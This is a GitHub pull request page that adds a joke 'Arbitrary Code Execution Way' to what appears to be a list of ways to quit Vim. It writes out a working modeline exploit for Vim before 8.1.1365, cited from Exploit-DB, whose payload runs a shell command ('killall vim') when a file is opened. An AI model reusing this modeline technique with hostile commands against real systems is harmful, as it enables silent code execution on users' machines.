Merge pull request #157 from 3c1u/arbitrary-code-x-way

Add The Arbitrary Code Execution Way
This commit is contained in:
Michael Skelton 2020-01-24 21:08:12 +10:00 committed by GitHub
commit e87858d460
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -647,6 +647,23 @@ vim
```
5. In the AWS EC2, select the newly created EC2 instance and terminate the instance.
## The Arbitrary Code Execution Way
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
1. Create a file (say `quit.txt`) with the following data:
```
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
```
2. Ensure that the modeline option has not been disabled.
```
echo "set modeline" >> .vimrc
```
3. Open `quit.txt`.
```
:e! quit.txt
```
## The Circuit Breaker Way
Credit:@Tomcat-42